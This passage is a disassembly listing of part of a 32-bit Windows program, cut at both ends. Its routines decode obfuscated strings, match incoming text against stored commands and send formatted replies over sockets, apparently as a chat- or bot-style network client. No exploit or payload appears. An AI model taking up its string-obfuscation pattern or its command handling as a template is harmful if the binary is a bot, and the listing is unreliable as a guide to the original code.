		lea	ecx, [esi+69h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+54h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_411A50	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411B10	proc near		; CODE XREF: sub_4019D3j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_40196A
		test	[esp+4+arg_0], 1
		jz	short loc_411B28
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_411B28:				; CODE XREF: sub_411B10+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_411B10	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_411B40	proc near		; CODE XREF: sub_401A0Aj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_411B40
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		test	esi, esi
		jz	short loc_411B66
		lea	edi, [esi+11h]
		jmp	short loc_411B68
; ---------------------------------------------------------------------------


loc_411B66:				; CODE XREF: sub_411B40+1Fj
		xor	edi, edi


loc_411B68:				; CODE XREF: sub_411B40+24j
		push	0
		push	17h
		push	1
		push	12h
		push	4Fh
		lea	eax, [esp+5Ch+var_3C]
		push	9
		push	eax
		call	sub_4019B5
		add	esp, 1Ch
		push	edi
		mov	ecx, eax
		mov	[esp+4Ch+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+250h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_411B40	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411BBC
		lea	ebx, [esi+11h]
		jmp	short loc_411BBE
; ---------------------------------------------------------------------------


loc_411BBC:				; CODE XREF: ___:00411BB5j
		xor	ebx, ebx


loc_411BBE:				; CODE XREF: ___:00411BBAj
		push	0
		push	14h
		push	3
		push	5
		push	0Eh
		push	0Eh
		push	0Fh
		push	3
		push	5
		push	12h
		push	4Fh
		lea	edx, [esp+38h]
		push	9
		push	edx
		call	sub_4019B5
		add	esp, 34h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+27Eh]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411C1B
		lea	ebx, [esi+11h]
		jmp	short loc_411C1D
; ---------------------------------------------------------------------------


loc_411C1B:				; CODE XREF: ___:00411C14j
		xor	ebx, ebx


loc_411C1D:				; CODE XREF: ___:00411C19j
		push	0
		push	14h
		push	12h
		push	1
		push	10h
		push	4Fh
		lea	ecx, [esp+24h]
		push	9
		push	ecx
		call	sub_4019B5
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 2
		call	sub_4017E4
		lea	edx, [esi+1C6h]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411C70
		lea	ebx, [esi+11h]
		jmp	short loc_411C72
; ---------------------------------------------------------------------------


loc_411C70:				; CODE XREF: ___:00411C69j
		xor	ebx, ebx


loc_411C72:				; CODE XREF: ___:00411C6Ej
		push	0
		push	5
		push	4
		push	0Fh
		push	0Dh
		push	4Fh
		lea	eax, [esp+24h]
		push	9
		push	eax
		call	sub_4019B5
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 3
		call	sub_4017E4
		lea	ecx, [esi+16Ah]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411CC5
		lea	ebx, [esi+11h]
		jmp	short loc_411CC7
; ---------------------------------------------------------------------------


loc_411CC5:				; CODE XREF: ___:00411CBEj
		xor	ebx, ebx


loc_411CC7:				; CODE XREF: ___:00411CC3j
		push	0
		push	7
		push	13h
		push	0Dh
		push	4Fh
		lea	edx, [esp+20h]
		push	9
		push	edx
		call	sub_4019B5
		add	esp, 1Ch
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 4
		call	sub_4017E4
		push	eax
		lea	eax, [esi+1F4h]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411D18
		lea	ebx, [esi+11h]
		jmp	short loc_411D1A
; ---------------------------------------------------------------------------


loc_411D18:				; CODE XREF: ___:00411D11j
		xor	ebx, ebx


loc_411D1A:				; CODE XREF: ___:00411D16j
		push	0
		push	5
		push	3
		push	9
		push	14h
		push	0Fh
		push	0Eh
		push	4Fh
		lea	ecx, [esp+2Ch]
		push	9
		push	ecx
		call	sub_4019B5
		add	esp, 28h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 5
		call	sub_4017E4
		lea	edx, [esi+0B2h]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411D71
		lea	ebx, [esi+11h]
		jmp	short loc_411D73
; ---------------------------------------------------------------------------


loc_411D71:				; CODE XREF: ___:00411D6Aj
		xor	ebx, ebx


loc_411D73:				; CODE XREF: ___:00411D6Fj
		push	0
		push	14h
		push	3
		push	5
		push	0Eh
		push	0Eh
		push	0Fh
		push	3
		push	13h
		push	9
		push	4
		push	4Fh
		lea	eax, [esp+3Ch]
		push	9
		push	eax
		call	sub_4019B5
		add	esp, 38h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 6
		call	sub_4017E4
		lea	ecx, [esi+56h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411DCF
		lea	ebx, [esi+11h]
		jmp	short loc_411DD1
; ---------------------------------------------------------------------------


loc_411DCF:				; CODE XREF: ___:00411DC8j
		xor	ebx, ebx


loc_411DD1:				; CODE XREF: ___:00411DCDj
		push	0
		push	14h
		push	13h
		push	0Fh
		push	8
		push	14h
		push	5
		push	7
		push	4Fh
		lea	edx, [esp+30h]
		push	9
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 7
		call	sub_4017E4
		push	eax
		lea	eax, [esi+10Eh]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411E2A
		lea	ebx, [esi+11h]
		jmp	short loc_411E2C
; ---------------------------------------------------------------------------


loc_411E2A:				; CODE XREF: ___:00411E23j
		xor	ebx, ebx


loc_411E2C:				; CODE XREF: ___:00411E28j
		push	0
		push	0Fh
		push	6
		push	0Eh
		push	9
		push	14h
		push	5
		push	0Eh
		push	4Fh
		lea	ecx, [esp+30h]
		push	9
		push	ecx
		call	sub_4019B5
		add	esp, 2Ch
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 8
		call	sub_4017E4
		lea	edx, [esi+198h]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411E85
		lea	ebx, [esi+11h]
		jmp	short loc_411E87
; ---------------------------------------------------------------------------


loc_411E85:				; CODE XREF: ___:00411E7Ej
		xor	ebx, ebx


loc_411E87:				; CODE XREF: ___:00411E83j
		push	0
		push	0Eh
		push	9
		push	0Fh
		push	0Ah
		push	4Fh
		lea	eax, [esp+3Ch]
		push	9
		push	eax
		call	sub_4019B5
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 9
		call	sub_4017E4
		add	esi, 13Ch
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+44h], edi
		call	sub_401226
		mov	ecx, [esp+3Ch]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0F0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411FE0	proc near		; CODE XREF: sub_401AB9j

var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_411FE0
		push	eax
		mov	large fs:0, esp
		sub	esp, 78h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+90h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+45h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jz	loc_412509
		lea	ecx, [edi+26Dh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jz	loc_412509
		lea	ecx, [edi+0A1h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4120E2
		push	offset asc_443600 ; " "
		lea	eax, [esp+98h+var_6C]
		push	2
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ebp, eax
		push	offset asc_443600 ; " "
		lea	ecx, [esp+98h+var_84]
		push	1
		xor	ebx, ebx
		push	ecx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], ebx
		call	sub_4016AE
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 1
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		mov	edx, dword_447100
		push	eax
		push	edx
		add	edi, 0FFFFFFEFh
		push	offset dword_443CEC
		push	edi
		call	sub_401E0B
		add	esp, 14h
		lea	ecx, [esp+94h+var_84]
		mov	byte ptr [esp+94h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412532
; ---------------------------------------------------------------------------


loc_4120E2:				; CODE XREF: sub_411FE0+70j
		lea	ecx, [edi+187h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412159
		add	edi, 0FFFFFFEFh
		lea	eax, [esp+94h+var_6C]
		push	eax
		mov	ecx, edi
		call	sub_401D39
		mov	ecx, eax
		mov	[esp+94h+var_4], 2
		call	sub_4017E4
		push	eax
		push	offset aS	; "%s"
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	edi
		call	sub_401848
		add	esp, 18h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412532
; ---------------------------------------------------------------------------


loc_412159:				; CODE XREF: sub_411FE0+117j
		lea	ecx, [edi+0FDh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_412214
		push	offset asc_443600 ; " "
		lea	eax, [esp+98h+var_6C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		push	eax
		lea	ecx, [edi+17h]
		mov	[esp+98h+var_4], 3
		call	sub_4018A2
		or	ebp, 0FFFFFFFFh
		lea	ecx, [esp+94h+var_6C]
		mov	ebx, eax
		mov	[esp+94h+var_4], ebp
		call	sub_401226
		test	ebx, ebx
		jz	loc_412532
		lea	ecx, [esp+94h+var_6C]
		add	edi, 0FFFFFFEFh
		push	ecx
		mov	ecx, edi
		call	sub_401D39
		mov	ecx, eax
		mov	[esp+94h+var_4], 4
		call	sub_4017E4
		push	eax
		push	offset aS	; "%s"
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	edi
		call	sub_401848
		add	esp, 18h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], ebp
		call	sub_401226
		jmp	loc_412532
; ---------------------------------------------------------------------------


loc_412214:				; CODE XREF: sub_411FE0+18Ej
		lea	ecx, [edi+12Bh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4122BD
		push	offset asc_443600 ; " "
		lea	ecx, [esp+98h+var_84]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ebp, eax
		push	offset asc_443600 ; " "
		lea	edx, [esp+98h+var_6C]
		mov	ebx, 5
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], ebx
		call	sub_4016AE
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 6
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		mov	eax, dword_447104
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	edi
		call	sub_401E0B
		add	esp, 14h
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412532
; ---------------------------------------------------------------------------


loc_4122BD:				; CODE XREF: sub_411FE0+249j
		lea	ecx, [edi+1B5h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41232B
		push	offset asc_443600 ; " "
		lea	ecx, [esp+98h+var_6C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+94h+var_4], 7
		call	sub_4017E4
		mov	edx, dword_447130
		push	eax
		push	edx
		add	edi, 0FFFFFFEFh
		push	offset aSS_0	; "%s %s\r\n"
		push	edi
		call	sub_401E0B
		add	esp, 10h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412532
; ---------------------------------------------------------------------------


loc_41232B:				; CODE XREF: sub_411FE0+2F2j
		lea	ecx, [edi+23Fh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41238D
		lea	eax, [esp+94h+var_6C]
		push	9
		push	eax
		mov	ecx, esi
		call	sub_401E2E
		mov	ecx, eax
		mov	[esp+94h+var_4], 8
		call	sub_4017E4
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset dword_443CE4
		push	edi
		call	sub_401E0B
		add	esp, 0Ch
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412532
; ---------------------------------------------------------------------------


loc_41238D:				; CODE XREF: sub_411FE0+360j
		lea	ecx, [edi+1E3h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41242D
		push	offset asc_443600 ; " "
		lea	ecx, [esp+98h+var_84]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ebp, eax
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+9Ch+var_6C]
		push	2
		push	edx
		mov	ecx, esi
		mov	[esp+0A4h+var_4], 9
		call	sub_4011EA
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 0Ah
		call	sub_4014D3
		push	eax
		mov	ecx, esi
		call	sub_4014D3
		xor	ebx, ebx
		push	eax
		push	ebx
		push	ebx
		lea	ecx, [edi-11h]
		call	sub_401118
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412532
; ---------------------------------------------------------------------------


loc_41242D:				; CODE XREF: sub_411FE0+3C2j
		lea	ecx, [edi+159h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_412532
		push	offset asc_443600 ; " "
		lea	eax, [esp+98h+var_24]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ebp, eax
		push	offset asc_443600 ; " "
		lea	ecx, [esp+98h+var_3C]
		push	2
		push	ecx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], 0Bh
		call	sub_4016AE
		mov	ebx, eax
		push	offset asc_443600 ; " "
		lea	edx, [esp+98h+var_54]
		push	1
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0A0h+var_4], 0Ch
		call	sub_4016AE
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 0Dh
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		mov	eax, dword_447134
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset dword_443CD4
		push	edi
		call	sub_401E0B
		add	esp, 18h
		lea	ecx, [esp+94h+var_54]
		mov	byte ptr [esp+94h+var_4], 0Ch
		call	sub_401226
		lea	ecx, [esp+94h+var_3C]
		mov	byte ptr [esp+94h+var_4], 0Bh
		call	sub_401226
		lea	ecx, [esp+94h+var_24]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	short loc_412532
; ---------------------------------------------------------------------------


loc_412509:				; CODE XREF: sub_411FE0+3Aj
					; sub_411FE0+55j
		xor	ebx, ebx
		mov	[edi+0Fh], ebx
		mov	[edi+0Bh], ebx
		mov	[edi+5], bl
		mov	[edi+4], bl
		mov	ecx, [edi+7]
		push	ecx
		nop
		call	near ptr 71AB9639h
		mov	ecx, offset word_448C9E
		mov	dword ptr [edi+7], 0FFFFFFFFh
		call	sub_401537


loc_412532:				; CODE XREF: sub_411FE0+FDj
					; sub_411FE0+174j ...
		mov	ecx, [esp+94h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 84h
		retn	4
sub_411FE0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4126B0	proc near		; CODE XREF: sub_401D39j

var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4126B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 40h
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+50h+var_24]
		mov	[esp+50h+var_48], 0
		call	sub_401424
		xor	eax, eax
		lea	ecx, [esp+50h+var_4C]
		mov	[esp+50h+var_44], eax
		lea	edx, [esp+50h+var_44]
		mov	[esp+50h+var_40], eax
		push	ecx
		mov	[esp+54h+var_3C], eax
		push	edx
		mov	[esp+58h+var_38], eax
		mov	eax, [esi+18h]
		push	eax
		mov	[esp+5Ch+var_4], 1
		mov	[esp+5Ch+var_4C], 10h
		nop
		call	near ptr 71AB951Eh
		mov	ecx, [esp+50h+var_40+3]
		mov	edx, [esp+50h+var_40+2]
		mov	eax, [esp+50h+var_40+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+54h+var_40]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		lea	edx, [esp+60h+var_34]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	edx
		nop
		call	sub_5EE1E5
		add	esp, 18h
		lea	ecx, [esp+50h+var_24]
		push	offset byte_446F70
		call	sub_4015D7
		push	offset dword_443D18
		lea	ecx, [esp+54h+var_24]
		call	sub_401A9B
		lea	eax, [esp+50h+var_34]
		lea	ecx, [esp+50h+var_24]
		push	eax
		call	sub_401A9B
		push	offset dword_443D14
		lea	ecx, [esp+54h+var_24]
		call	sub_401A9B
		add	esi, 28h
		lea	ecx, [esp+50h+var_24]
		push	esi
		call	sub_4016BD
		push	offset dword_443D14
		lea	ecx, [esp+54h+var_24]
		call	sub_401A9B
		lea	ecx, [esp+50h+var_34]
		push	ecx
		call	sub_401479
		add	esp, 4
		test	al, al
		jz	short loc_4127BB
		push	offset dword_443D08
		jmp	short loc_4127C0
; ---------------------------------------------------------------------------


loc_4127BB:				; CODE XREF: sub_4126B0+102j
		push	offset dword_443CFC


loc_4127C0:				; CODE XREF: sub_4126B0+109j
		lea	ecx, [esp+54h+var_24]
		call	sub_401A9B
		mov	esi, [esp+50h+arg_0]
		lea	edx, [esp+50h+var_24]
		push	edx
		mov	ecx, esi
		call	sub_4014C9
		mov	[esp+50h+var_48], 1
		lea	ecx, [esp+50h+var_24]
		mov	byte ptr [esp+50h+var_4], 0
		call	sub_401226
		mov	ecx, [esp+50h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 4Ch
		retn	4
sub_4126B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412870	proc near		; CODE XREF: sub_401582j

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [esi+18h]
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	ebp
		push	eax
		call	near ptr 71AB428Ah
		nop
		mov	edx, eax
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		cmp	edx, ecx
		jnb	short loc_4128CE
		mov	[esi+16h], al
		mov	[esi+15h], al
		mov	eax, [esi+18h]
		push	eax
		nop
		call	near ptr 71AB9639h
		mov	ecx, offset word_448C9E
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		call	sub_401537
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_4128CE:				; CODE XREF: sub_412870+33j
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebp
		retn	4
sub_412870	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412900	proc near		; CODE XREF: sub_401E0Bj

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= byte ptr  200Ch

		mov	eax, 2000h
		call	sub_436840
		mov	ecx, [esp+arg_2004]
		lea	eax, [esp+arg_2008]
		push	eax
		push	ecx
		lea	edx, [esp+8]
		push	2000h
		push	edx
		call	near ptr 77C3FF8Ah
		nop
		mov	ecx, [esp+10h+arg_2000]
		add	esp, 10h
		lea	eax, [esp+0]
		push	eax
		call	sub_401582
		add	esp, 2000h
		retn
sub_412900	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412970	proc near		; CODE XREF: sub_401118j

var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_412970
		push	eax
		mov	al, [esp+0Ch+arg_0]
		mov	large fs:0, esp
		sub	esp, 30h
		test	al, al
		push	esi
		mov	esi, ecx
		jz	short loc_4129A7
		xor	al, al
		pop	esi
		mov	ecx, [esp+3Ch+var_C]
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_4129A7:				; CODE XREF: sub_412970+21j
		lea	ecx, [esp+40h+var_3C]
		call	sub_401424
		mov	al, [esp+40h+arg_4]
		mov	[esp+40h+var_4], 0
		test	al, al
		jz	short loc_4129C8
		mov	eax, dword_447100
		push	eax
		jmp	short loc_4129CF
; ---------------------------------------------------------------------------


loc_4129C8:				; CODE XREF: sub_412970+4Ej
		mov	ecx, dword_447108
		push	ecx


loc_4129CF:				; CODE XREF: sub_412970+56j
		lea	ecx, [esp+44h+var_3C]
		call	sub_4015D7
		push	ebx
		lea	ecx, [esp+44h+var_24]
		call	sub_401424
		mov	edx, [esp+44h+arg_8]
		mov	eax, [esp+44h+arg_C]
		push	edx
		push	eax
		lea	ecx, [esp+4Ch+var_3C]
		mov	byte ptr [esp+4Ch+var_4], 1
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+50h+var_24]
		push	offset dword_443CEC
		push	ecx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+44h+var_24]
		call	sub_4014D3
		push	eax
		mov	ecx, esi
		call	sub_401582
		lea	ecx, [esp+44h+var_24]
		mov	bl, al
		mov	byte ptr [esp+44h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+44h+var_3C]
		mov	[esp+44h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+44h+var_C]
		mov	al, bl
		pop	ebx
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
sub_412970	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412AA0	proc near		; CODE XREF: sub_401848j

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= dword	ptr  200Ch
arg_200C	= dword	ptr  2010h
arg_2010	= dword	ptr  2014h
arg_2014	= byte ptr  2018h

		mov	eax, 2000h
		call	sub_436840
		mov	ecx, [esp+arg_2010]
		lea	eax, [esp+arg_2014]
		push	eax
		push	ecx
		lea	edx, [esp+8]
		push	2000h
		push	edx
		nop
		call	near ptr 77C3FF8Ah
		mov	eax, [esp+10h+arg_200C]
		mov	edx, [esp+10h+arg_2008]
		add	esp, 10h
		lea	ecx, [esp+0]
		push	eax
		mov	eax, [esp+4+arg_2004]
		push	ecx
		mov	ecx, [esp+8+arg_2000]
		push	edx
		push	eax
		call	sub_401118
		add	esp, 2000h
		retn
sub_412AA0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412B20	proc near		; CODE XREF: sub_401D0Cj
		push	esi
		mov	esi, ecx
		call	sub_401FB9
		mov	eax, [esi+1Ch]
		inc	eax
		mov	[esi+1Ch], eax
		pop	esi
		retn
sub_412B20	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412B50	proc near		; CODE XREF: sub_401FB9j
		push	esi
		mov	esi, ecx
		xor	al, al
		mov	[esi+16h], al
		mov	[esi+15h], al
		mov	eax, [esi+18h]
		push	eax
		call	near ptr 71AB9639h
		nop
		mov	ecx, offset word_448C9E
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		call	sub_401537
		pop	esi
		retn
sub_412B50	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412B90	proc near		; CODE XREF: sub_401721j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	dl, [ecx]
		xor	ecx, ecx
		mov	[eax], dl
		mov	[eax+4], ecx
		mov	[eax+8], ecx
		mov	[eax+0Ch], ecx
		retn	4
sub_412B90	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_412BC0	proc near		; CODE XREF: sub_401B54j
		push	esi
		mov	esi, ecx
